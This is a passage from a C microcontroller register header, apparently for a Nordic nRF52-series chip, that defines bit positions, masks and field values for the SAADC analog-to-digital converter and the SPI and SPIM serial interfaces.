/* Bit 7 : Write '1' to Disable interrupt for CH[0].LIMITL event */
#define SAADC_INTENCLR_CH0LIMITL_Pos (7UL) /*!< Position of CH0LIMITL field. */
#define SAADC_INTENCLR_CH0LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH0LIMITL_Pos) /*!< Bit mask of CH0LIMITL field. */
#define SAADC_INTENCLR_CH0LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH0LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH0LIMITL_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for CH[0].LIMITH event */
#define SAADC_INTENCLR_CH0LIMITH_Pos (6UL) /*!< Position of CH0LIMITH field. */
#define SAADC_INTENCLR_CH0LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH0LIMITH_Pos) /*!< Bit mask of CH0LIMITH field. */
#define SAADC_INTENCLR_CH0LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH0LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH0LIMITH_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for STOPPED event */
#define SAADC_INTENCLR_STOPPED_Pos (5UL) /*!< Position of STOPPED field. */
#define SAADC_INTENCLR_STOPPED_Msk (0x1UL << SAADC_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define SAADC_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for CALIBRATEDONE event */
#define SAADC_INTENCLR_CALIBRATEDONE_Pos (4UL) /*!< Position of CALIBRATEDONE field. */
#define SAADC_INTENCLR_CALIBRATEDONE_Msk (0x1UL << SAADC_INTENCLR_CALIBRATEDONE_Pos) /*!< Bit mask of CALIBRATEDONE field. */
#define SAADC_INTENCLR_CALIBRATEDONE_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CALIBRATEDONE_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CALIBRATEDONE_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for RESULTDONE event */
#define SAADC_INTENCLR_RESULTDONE_Pos (3UL) /*!< Position of RESULTDONE field. */
#define SAADC_INTENCLR_RESULTDONE_Msk (0x1UL << SAADC_INTENCLR_RESULTDONE_Pos) /*!< Bit mask of RESULTDONE field. */
#define SAADC_INTENCLR_RESULTDONE_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_RESULTDONE_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_RESULTDONE_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for DONE event */
#define SAADC_INTENCLR_DONE_Pos (2UL) /*!< Position of DONE field. */
#define SAADC_INTENCLR_DONE_Msk (0x1UL << SAADC_INTENCLR_DONE_Pos) /*!< Bit mask of DONE field. */
#define SAADC_INTENCLR_DONE_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_DONE_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_DONE_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for END event */
#define SAADC_INTENCLR_END_Pos (1UL) /*!< Position of END field. */
#define SAADC_INTENCLR_END_Msk (0x1UL << SAADC_INTENCLR_END_Pos) /*!< Bit mask of END field. */
#define SAADC_INTENCLR_END_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_END_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_END_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for STARTED event */
#define SAADC_INTENCLR_STARTED_Pos (0UL) /*!< Position of STARTED field. */
#define SAADC_INTENCLR_STARTED_Msk (0x1UL << SAADC_INTENCLR_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define SAADC_INTENCLR_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_STARTED_Clear (1UL) /*!< Disable */
/* Register: SAADC_STATUS */
/* Description: Status */
/* Bit 0 : Status */
#define SAADC_STATUS_STATUS_Pos (0UL) /*!< Position of STATUS field. */
#define SAADC_STATUS_STATUS_Msk (0x1UL << SAADC_STATUS_STATUS_Pos) /*!< Bit mask of STATUS field. */
#define SAADC_STATUS_STATUS_Ready (0UL) /*!< ADC is ready. No on-going conversion. */
#define SAADC_STATUS_STATUS_Busy (1UL) /*!< ADC is busy. Conversion in progress. */
/* Register: SAADC_ENABLE */
/* Description: Enable or disable ADC */
/* Bit 0 : Enable or disable ADC */
#define SAADC_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define SAADC_ENABLE_ENABLE_Msk (0x1UL << SAADC_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define SAADC_ENABLE_ENABLE_Disabled (0UL) /*!< Disable ADC */
#define SAADC_ENABLE_ENABLE_Enabled (1UL) /*!< Enable ADC */
/* Register: SAADC_CH_PSELP */
/* Description: Description cluster[0]: Input positive pin selection for CH[0] */
/* Bits 4..0 : Analog positive input channel */
#define SAADC_CH_PSELP_PSELP_Pos (0UL) /*!< Position of PSELP field. */
#define SAADC_CH_PSELP_PSELP_Msk (0x1FUL << SAADC_CH_PSELP_PSELP_Pos) /*!< Bit mask of PSELP field. */
#define SAADC_CH_PSELP_PSELP_NC (0UL) /*!< Not connected */
#define SAADC_CH_PSELP_PSELP_AnalogInput0 (1UL) /*!< AIN0 */
#define SAADC_CH_PSELP_PSELP_AnalogInput1 (2UL) /*!< AIN1 */
#define SAADC_CH_PSELP_PSELP_AnalogInput2 (3UL) /*!< AIN2 */
#define SAADC_CH_PSELP_PSELP_AnalogInput3 (4UL) /*!< AIN3 */
#define SAADC_CH_PSELP_PSELP_AnalogInput4 (5UL) /*!< AIN4 */
#define SAADC_CH_PSELP_PSELP_AnalogInput5 (6UL) /*!< AIN5 */
#define SAADC_CH_PSELP_PSELP_AnalogInput6 (7UL) /*!< AIN6 */
#define SAADC_CH_PSELP_PSELP_AnalogInput7 (8UL) /*!< AIN7 */
#define SAADC_CH_PSELP_PSELP_VDD (9UL) /*!< VDD */
/* Register: SAADC_CH_PSELN */
/* Description: Description cluster[0]: Input negative pin selection for CH[0] */
/* Bits 4..0 : Analog negative input, enables differential channel */
#define SAADC_CH_PSELN_PSELN_Pos (0UL) /*!< Position of PSELN field. */
#define SAADC_CH_PSELN_PSELN_Msk (0x1FUL << SAADC_CH_PSELN_PSELN_Pos) /*!< Bit mask of PSELN field. */
#define SAADC_CH_PSELN_PSELN_NC (0UL) /*!< Not connected */
#define SAADC_CH_PSELN_PSELN_AnalogInput0 (1UL) /*!< AIN0 */
#define SAADC_CH_PSELN_PSELN_AnalogInput1 (2UL) /*!< AIN1 */
#define SAADC_CH_PSELN_PSELN_AnalogInput2 (3UL) /*!< AIN2 */
#define SAADC_CH_PSELN_PSELN_AnalogInput3 (4UL) /*!< AIN3 */
#define SAADC_CH_PSELN_PSELN_AnalogInput4 (5UL) /*!< AIN4 */
#define SAADC_CH_PSELN_PSELN_AnalogInput5 (6UL) /*!< AIN5 */
#define SAADC_CH_PSELN_PSELN_AnalogInput6 (7UL) /*!< AIN6 */
#define SAADC_CH_PSELN_PSELN_AnalogInput7 (8UL) /*!< AIN7 */
#define SAADC_CH_PSELN_PSELN_VDD (9UL) /*!< VDD */
/* Register: SAADC_CH_CONFIG */
/* Description: Description cluster[0]: Input configuration for CH[0] */
/* Bit 24 : Enable burst mode */
#define SAADC_CH_CONFIG_BURST_Pos (24UL) /*!< Position of BURST field. */
#define SAADC_CH_CONFIG_BURST_Msk (0x1UL << SAADC_CH_CONFIG_BURST_Pos) /*!< Bit mask of BURST field. */
#define SAADC_CH_CONFIG_BURST_Disabled (0UL) /*!< Burst mode is disabled (normal operation) */
#define SAADC_CH_CONFIG_BURST_Enabled (1UL) /*!< Burst mode is enabled. SAADC takes 2^OVERSAMPLE number of samples as fast as it can, and sends the average to Data RAM. */
/* Bit 20 : Enable differential mode */
#define SAADC_CH_CONFIG_MODE_Pos (20UL) /*!< Position of MODE field. */
#define SAADC_CH_CONFIG_MODE_Msk (0x1UL << SAADC_CH_CONFIG_MODE_Pos) /*!< Bit mask of MODE field. */
#define SAADC_CH_CONFIG_MODE_SE (0UL) /*!< Single ended, PSELN will be ignored, negative input to ADC shorted to GND */
#define SAADC_CH_CONFIG_MODE_Diff (1UL) /*!< Differential */
/* Bits 18..16 : Acquisition time, the time the ADC uses to sample the input voltage */
#define SAADC_CH_CONFIG_TACQ_Pos (16UL) /*!< Position of TACQ field. */
#define SAADC_CH_CONFIG_TACQ_Msk (0x7UL << SAADC_CH_CONFIG_TACQ_Pos) /*!< Bit mask of TACQ field. */
#define SAADC_CH_CONFIG_TACQ_3us (0UL) /*!< 3 us */
#define SAADC_CH_CONFIG_TACQ_5us (1UL) /*!< 5 us */
#define SAADC_CH_CONFIG_TACQ_10us (2UL) /*!< 10 us */
#define SAADC_CH_CONFIG_TACQ_15us (3UL) /*!< 15 us */
#define SAADC_CH_CONFIG_TACQ_20us (4UL) /*!< 20 us */
#define SAADC_CH_CONFIG_TACQ_40us (5UL) /*!< 40 us */
/* Bit 12 : Reference control */
#define SAADC_CH_CONFIG_REFSEL_Pos (12UL) /*!< Position of REFSEL field. */
#define SAADC_CH_CONFIG_REFSEL_Msk (0x1UL << SAADC_CH_CONFIG_REFSEL_Pos) /*!< Bit mask of REFSEL field. */
#define SAADC_CH_CONFIG_REFSEL_Internal (0UL) /*!< Internal reference (0.6 V) */
#define SAADC_CH_CONFIG_REFSEL_VDD1_4 (1UL) /*!< VDD/4 as reference */
/* Bits 10..8 : Gain control */
#define SAADC_CH_CONFIG_GAIN_Pos (8UL) /*!< Position of GAIN field. */
#define SAADC_CH_CONFIG_GAIN_Msk (0x7UL << SAADC_CH_CONFIG_GAIN_Pos) /*!< Bit mask of GAIN field. */
#define SAADC_CH_CONFIG_GAIN_Gain1_6 (0UL) /*!< 1/6 */
#define SAADC_CH_CONFIG_GAIN_Gain1_5 (1UL) /*!< 1/5 */
#define SAADC_CH_CONFIG_GAIN_Gain1_4 (2UL) /*!< 1/4 */
#define SAADC_CH_CONFIG_GAIN_Gain1_3 (3UL) /*!< 1/3 */
#define SAADC_CH_CONFIG_GAIN_Gain1_2 (4UL) /*!< 1/2 */
#define SAADC_CH_CONFIG_GAIN_Gain1 (5UL) /*!< 1 */
#define SAADC_CH_CONFIG_GAIN_Gain2 (6UL) /*!< 2 */
#define SAADC_CH_CONFIG_GAIN_Gain4 (7UL) /*!< 4 */
/* Bits 5..4 : Negative channel resistor control */
#define SAADC_CH_CONFIG_RESN_Pos (4UL) /*!< Position of RESN field. */
#define SAADC_CH_CONFIG_RESN_Msk (0x3UL << SAADC_CH_CONFIG_RESN_Pos) /*!< Bit mask of RESN field. */
#define SAADC_CH_CONFIG_RESN_Bypass (0UL) /*!< Bypass resistor ladder */
#define SAADC_CH_CONFIG_RESN_Pulldown (1UL) /*!< Pull-down to GND */
#define SAADC_CH_CONFIG_RESN_Pullup (2UL) /*!< Pull-up to VDD */
#define SAADC_CH_CONFIG_RESN_VDD1_2 (3UL) /*!< Set input at VDD/2 */
/* Bits 1..0 : Positive channel resistor control */
#define SAADC_CH_CONFIG_RESP_Pos (0UL) /*!< Position of RESP field. */
#define SAADC_CH_CONFIG_RESP_Msk (0x3UL << SAADC_CH_CONFIG_RESP_Pos) /*!< Bit mask of RESP field. */
#define SAADC_CH_CONFIG_RESP_Bypass (0UL) /*!< Bypass resistor ladder */
#define SAADC_CH_CONFIG_RESP_Pulldown (1UL) /*!< Pull-down to GND */
#define SAADC_CH_CONFIG_RESP_Pullup (2UL) /*!< Pull-up to VDD */
#define SAADC_CH_CONFIG_RESP_VDD1_2 (3UL) /*!< Set input at VDD/2 */
/* Register: SAADC_CH_LIMIT */
/* Description: Description cluster[0]: High/low limits for event monitoring a channel */
/* Bits 31..16 : High level limit */
#define SAADC_CH_LIMIT_HIGH_Pos (16UL) /*!< Position of HIGH field. */
#define SAADC_CH_LIMIT_HIGH_Msk (0xFFFFUL << SAADC_CH_LIMIT_HIGH_Pos) /*!< Bit mask of HIGH field. */
/* Bits 15..0 : Low level limit */
#define SAADC_CH_LIMIT_LOW_Pos (0UL) /*!< Position of LOW field. */
#define SAADC_CH_LIMIT_LOW_Msk (0xFFFFUL << SAADC_CH_LIMIT_LOW_Pos) /*!< Bit mask of LOW field. */
/* Register: SAADC_RESOLUTION */
/* Description: Resolution configuration */
/* Bits 2..0 : Set the resolution */
#define SAADC_RESOLUTION_VAL_Pos (0UL) /*!< Position of VAL field. */
#define SAADC_RESOLUTION_VAL_Msk (0x7UL << SAADC_RESOLUTION_VAL_Pos) /*!< Bit mask of VAL field. */
#define SAADC_RESOLUTION_VAL_8bit (0UL) /*!< 8 bit */
#define SAADC_RESOLUTION_VAL_10bit (1UL) /*!< 10 bit */
#define SAADC_RESOLUTION_VAL_12bit (2UL) /*!< 12 bit */
#define SAADC_RESOLUTION_VAL_14bit (3UL) /*!< 14 bit */
/* Register: SAADC_OVERSAMPLE */
/* Description: Oversampling configuration. OVERSAMPLE should not be combined with SCAN. The RESOLUTION is applied before averaging, thus for high OVERSAMPLE a higher RESOLUTION should be used. */
/* Bits 3..0 : Oversample control */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Pos (0UL) /*!< Position of OVERSAMPLE field. */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Msk (0xFUL << SAADC_OVERSAMPLE_OVERSAMPLE_Pos) /*!< Bit mask of OVERSAMPLE field. */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Bypass (0UL) /*!< Bypass oversampling */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over2x (1UL) /*!< Oversample 2x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over4x (2UL) /*!< Oversample 4x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over8x (3UL) /*!< Oversample 8x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over16x (4UL) /*!< Oversample 16x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over32x (5UL) /*!< Oversample 32x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over64x (6UL) /*!< Oversample 64x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over128x (7UL) /*!< Oversample 128x */
#define SAADC_OVERSAMPLE_OVERSAMPLE_Over256x (8UL) /*!< Oversample 256x */
/* Register: SAADC_SAMPLERATE */
/* Description: Controls normal or continuous sample rate */
/* Bit 12 : Select mode for sample rate control */
#define SAADC_SAMPLERATE_MODE_Pos (12UL) /*!< Position of MODE field. */
#define SAADC_SAMPLERATE_MODE_Msk (0x1UL << SAADC_SAMPLERATE_MODE_Pos) /*!< Bit mask of MODE field. */
#define SAADC_SAMPLERATE_MODE_Task (0UL) /*!< Rate is controlled from SAMPLE task */
#define SAADC_SAMPLERATE_MODE_Timers (1UL) /*!< Rate is controlled from local timer (use CC to control the rate) */
/* Bits 10..0 : Capture and compare value. Sample rate is 16 MHz/CC */
#define SAADC_SAMPLERATE_CC_Pos (0UL) /*!< Position of CC field. */
#define SAADC_SAMPLERATE_CC_Msk (0x7FFUL << SAADC_SAMPLERATE_CC_Pos) /*!< Bit mask of CC field. */
/* Register: SAADC_RESULT_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define SAADC_RESULT_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define SAADC_RESULT_PTR_PTR_Msk (0xFFFFFFFFUL << SAADC_RESULT_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: SAADC_RESULT_MAXCNT */
/* Description: Maximum number of buffer words to transfer */
/* Bits 14..0 : Maximum number of buffer words to transfer */
#define SAADC_RESULT_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define SAADC_RESULT_MAXCNT_MAXCNT_Msk (0x7FFFUL << SAADC_RESULT_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: SAADC_RESULT_AMOUNT */
/* Description: Number of buffer words transferred since last START */
/* Bits 14..0 : Number of buffer words transferred since last START. This register can be read after an END or STOPPED event. */
#define SAADC_RESULT_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define SAADC_RESULT_AMOUNT_AMOUNT_Msk (0x7FFFUL << SAADC_RESULT_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Peripheral: SPI */
/* Description: Serial Peripheral Interface 0 */
/* Register: SPI_INTENSET */
/* Description: Enable interrupt */
/* Bit 2 : Write '1' to Enable interrupt for READY event */
#define SPI_INTENSET_READY_Pos (2UL) /*!< Position of READY field. */
#define SPI_INTENSET_READY_Msk (0x1UL << SPI_INTENSET_READY_Pos) /*!< Bit mask of READY field. */
#define SPI_INTENSET_READY_Disabled (0UL) /*!< Read: Disabled */
#define SPI_INTENSET_READY_Enabled (1UL) /*!< Read: Enabled */
#define SPI_INTENSET_READY_Set (1UL) /*!< Enable */
/* Register: SPI_INTENCLR */
/* Description: Disable interrupt */
/* Bit 2 : Write '1' to Disable interrupt for READY event */
#define SPI_INTENCLR_READY_Pos (2UL) /*!< Position of READY field. */
#define SPI_INTENCLR_READY_Msk (0x1UL << SPI_INTENCLR_READY_Pos) /*!< Bit mask of READY field. */
#define SPI_INTENCLR_READY_Disabled (0UL) /*!< Read: Disabled */
#define SPI_INTENCLR_READY_Enabled (1UL) /*!< Read: Enabled */
#define SPI_INTENCLR_READY_Clear (1UL) /*!< Disable */
/* Register: SPI_ENABLE */
/* Description: Enable SPI */
/* Bits 3..0 : Enable or disable SPI */
#define SPI_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define SPI_ENABLE_ENABLE_Msk (0xFUL << SPI_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define SPI_ENABLE_ENABLE_Disabled (0UL) /*!< Disable SPI */
#define SPI_ENABLE_ENABLE_Enabled (1UL) /*!< Enable SPI */
/* Register: SPI_PSEL_SCK */
/* Description: Pin select for SCK */
/* Bits 31..0 : Pin number configuration for SPI SCK signal */
#define SPI_PSEL_SCK_PSELSCK_Pos (0UL) /*!< Position of PSELSCK field. */
#define SPI_PSEL_SCK_PSELSCK_Msk (0xFFFFFFFFUL << SPI_PSEL_SCK_PSELSCK_Pos) /*!< Bit mask of PSELSCK field. */
#define SPI_PSEL_SCK_PSELSCK_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: SPI_PSEL_MOSI */
/* Description: Pin select for MOSI */
/* Bits 31..0 : Pin number configuration for SPI MOSI signal */
#define SPI_PSEL_MOSI_PSELMOSI_Pos (0UL) /*!< Position of PSELMOSI field. */
#define SPI_PSEL_MOSI_PSELMOSI_Msk (0xFFFFFFFFUL << SPI_PSEL_MOSI_PSELMOSI_Pos) /*!< Bit mask of PSELMOSI field. */
#define SPI_PSEL_MOSI_PSELMOSI_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: SPI_PSEL_MISO */
/* Description: Pin select for MISO */
/* Bits 31..0 : Pin number configuration for SPI MISO signal */
#define SPI_PSEL_MISO_PSELMISO_Pos (0UL) /*!< Position of PSELMISO field. */
#define SPI_PSEL_MISO_PSELMISO_Msk (0xFFFFFFFFUL << SPI_PSEL_MISO_PSELMISO_Pos) /*!< Bit mask of PSELMISO field. */
#define SPI_PSEL_MISO_PSELMISO_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: SPI_RXD */
/* Description: RXD register */
/* Bits 7..0 : RX data received. Double buffered */
#define SPI_RXD_RXD_Pos (0UL) /*!< Position of RXD field. */
#define SPI_RXD_RXD_Msk (0xFFUL << SPI_RXD_RXD_Pos) /*!< Bit mask of RXD field. */
/* Register: SPI_TXD */
/* Description: TXD register */
/* Bits 7..0 : TX data to send. Double buffered */
#define SPI_TXD_TXD_Pos (0UL) /*!< Position of TXD field. */
#define SPI_TXD_TXD_Msk (0xFFUL << SPI_TXD_TXD_Pos) /*!< Bit mask of TXD field. */
/* Register: SPI_FREQUENCY */
/* Description: SPI frequency */
/* Bits 31..0 : SPI master data rate */
#define SPI_FREQUENCY_FREQUENCY_Pos (0UL) /*!< Position of FREQUENCY field. */
#define SPI_FREQUENCY_FREQUENCY_Msk (0xFFFFFFFFUL << SPI_FREQUENCY_FREQUENCY_Pos) /*!< Bit mask of FREQUENCY field. */
#define SPI_FREQUENCY_FREQUENCY_K125 (0x02000000UL) /*!< 125 kbps */
#define SPI_FREQUENCY_FREQUENCY_K250 (0x04000000UL) /*!< 250 kbps */
#define SPI_FREQUENCY_FREQUENCY_K500 (0x08000000UL) /*!< 500 kbps */
#define SPI_FREQUENCY_FREQUENCY_M1 (0x10000000UL) /*!< 1 Mbps */
#define SPI_FREQUENCY_FREQUENCY_M2 (0x20000000UL) /*!< 2 Mbps */
#define SPI_FREQUENCY_FREQUENCY_M4 (0x40000000UL) /*!< 4 Mbps */
#define SPI_FREQUENCY_FREQUENCY_M8 (0x80000000UL) /*!< 8 Mbps */
/* Register: SPI_CONFIG */
/* Description: Configuration register */
/* Bit 2 : Serial clock (SCK) polarity */
#define SPI_CONFIG_CPOL_Pos (2UL) /*!< Position of CPOL field. */
#define SPI_CONFIG_CPOL_Msk (0x1UL << SPI_CONFIG_CPOL_Pos) /*!< Bit mask of CPOL field. */
#define SPI_CONFIG_CPOL_ActiveHigh (0UL) /*!< Active high */
#define SPI_CONFIG_CPOL_ActiveLow (1UL) /*!< Active low */
/* Bit 1 : Serial clock (SCK) phase */
#define SPI_CONFIG_CPHA_Pos (1UL) /*!< Position of CPHA field. */
#define SPI_CONFIG_CPHA_Msk (0x1UL << SPI_CONFIG_CPHA_Pos) /*!< Bit mask of CPHA field. */
#define SPI_CONFIG_CPHA_Leading (0UL) /*!< Sample on leading edge of clock, shift serial data on trailing edge */
#define SPI_CONFIG_CPHA_Trailing (1UL) /*!< Sample on trailing edge of clock, shift serial data on leading edge */
/* Bit 0 : Bit order */
#define SPI_CONFIG_ORDER_Pos (0UL) /*!< Position of ORDER field. */
#define SPI_CONFIG_ORDER_Msk (0x1UL << SPI_CONFIG_ORDER_Pos) /*!< Bit mask of ORDER field. */
#define SPI_CONFIG_ORDER_MsbFirst (0UL) /*!< Most significant bit shifted out first */
#define SPI_CONFIG_ORDER_LsbFirst (1UL) /*!< Least significant bit shifted out first */
/* Peripheral: SPIM */
/* Description: Serial Peripheral Interface Master with EasyDMA 0 */
/* Register: SPIM_SHORTS */
/* Description: Shortcut register */
/* Bit 17 : Shortcut between END event and START task */
#define SPIM_SHORTS_END_START_Pos (17UL) /*!< Position of END_START field. */
#define SPIM_SHORTS_END_START_Msk (0x1UL << SPIM_SHORTS_END_START_Pos) /*!< Bit mask of END_START field. */
#define SPIM_SHORTS_END_START_Disabled (0UL) /*!< Disable shortcut */
#define SPIM_SHORTS_END_START_Enabled (1UL) /*!< Enable shortcut */
/* Register: SPIM_INTENSET */
/* Description: Enable interrupt */
/* Bit 19 : Write '1' to Enable interrupt for STARTED event */
#define SPIM_INTENSET_STARTED_Pos (19UL) /*!< Position of STARTED field. */
#define SPIM_INTENSET_STARTED_Msk (0x1UL << SPIM_INTENSET_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define SPIM_INTENSET_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENSET_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENSET_STARTED_Set (1UL) /*!< Enable */
/* Bit 8 : Write '1' to Enable interrupt for ENDTX event */
#define SPIM_INTENSET_ENDTX_Pos (8UL) /*!< Position of ENDTX field. */
#define SPIM_INTENSET_ENDTX_Msk (0x1UL << SPIM_INTENSET_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define SPIM_INTENSET_ENDTX_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENSET_ENDTX_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENSET_ENDTX_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for END event */
#define SPIM_INTENSET_END_Pos (6UL) /*!< Position of END field. */
#define SPIM_INTENSET_END_Msk (0x1UL << SPIM_INTENSET_END_Pos) /*!< Bit mask of END field. */
#define SPIM_INTENSET_END_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENSET_END_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENSET_END_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for ENDRX event */
#define SPIM_INTENSET_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define SPIM_INTENSET_ENDRX_Msk (0x1UL << SPIM_INTENSET_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define SPIM_INTENSET_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENSET_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENSET_ENDRX_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for STOPPED event */
#define SPIM_INTENSET_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define SPIM_INTENSET_STOPPED_Msk (0x1UL << SPIM_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define SPIM_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Register: SPIM_INTENCLR */
/* Description: Disable interrupt */
/* Bit 19 : Write '1' to Disable interrupt for STARTED event */
#define SPIM_INTENCLR_STARTED_Pos (19UL) /*!< Position of STARTED field. */
#define SPIM_INTENCLR_STARTED_Msk (0x1UL << SPIM_INTENCLR_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define SPIM_INTENCLR_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENCLR_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENCLR_STARTED_Clear (1UL) /*!< Disable */
/* Bit 8 : Write '1' to Disable interrupt for ENDTX event */
#define SPIM_INTENCLR_ENDTX_Pos (8UL) /*!< Position of ENDTX field. */
#define SPIM_INTENCLR_ENDTX_Msk (0x1UL << SPIM_INTENCLR_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define SPIM_INTENCLR_ENDTX_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENCLR_ENDTX_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENCLR_ENDTX_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for END event */
#define SPIM_INTENCLR_END_Pos (6UL) /*!< Position of END field. */
#define SPIM_INTENCLR_END_Msk (0x1UL << SPIM_INTENCLR_END_Pos) /*!< Bit mask of END field. */
#define SPIM_INTENCLR_END_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENCLR_END_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENCLR_END_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for ENDRX event */
#define SPIM_INTENCLR_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define SPIM_INTENCLR_ENDRX_Msk (0x1UL << SPIM_INTENCLR_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define SPIM_INTENCLR_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENCLR_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENCLR_ENDRX_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for STOPPED event */
#define SPIM_INTENCLR_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define SPIM_INTENCLR_STOPPED_Msk (0x1UL << SPIM_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define SPIM_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define SPIM_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define SPIM_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Register: SPIM_ENABLE */
/* Description: Enable SPIM */
/* Bits 3..0 : Enable or disable SPIM */
#define SPIM_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define SPIM_ENABLE_ENABLE_Msk (0xFUL << SPIM_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define SPIM_ENABLE_ENABLE_Disabled (0UL) /*!< Disable SPIM */
#define SPIM_ENABLE_ENABLE_Enabled (7UL) /*!< Enable SPIM */
/* Register: SPIM_PSEL_SCK */
/* Description: Pin select for SCK */
/* Bit 31 : Connection */
#define SPIM_PSEL_SCK_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define SPIM_PSEL_SCK_CONNECT_Msk (0x1UL << SPIM_PSEL_SCK_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define SPIM_PSEL_SCK_CONNECT_Connected (0UL) /*!< Connect */
#define SPIM_PSEL_SCK_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define SPIM_PSEL_SCK_PIN_Pos (0UL) /*!< Position of PIN field. */
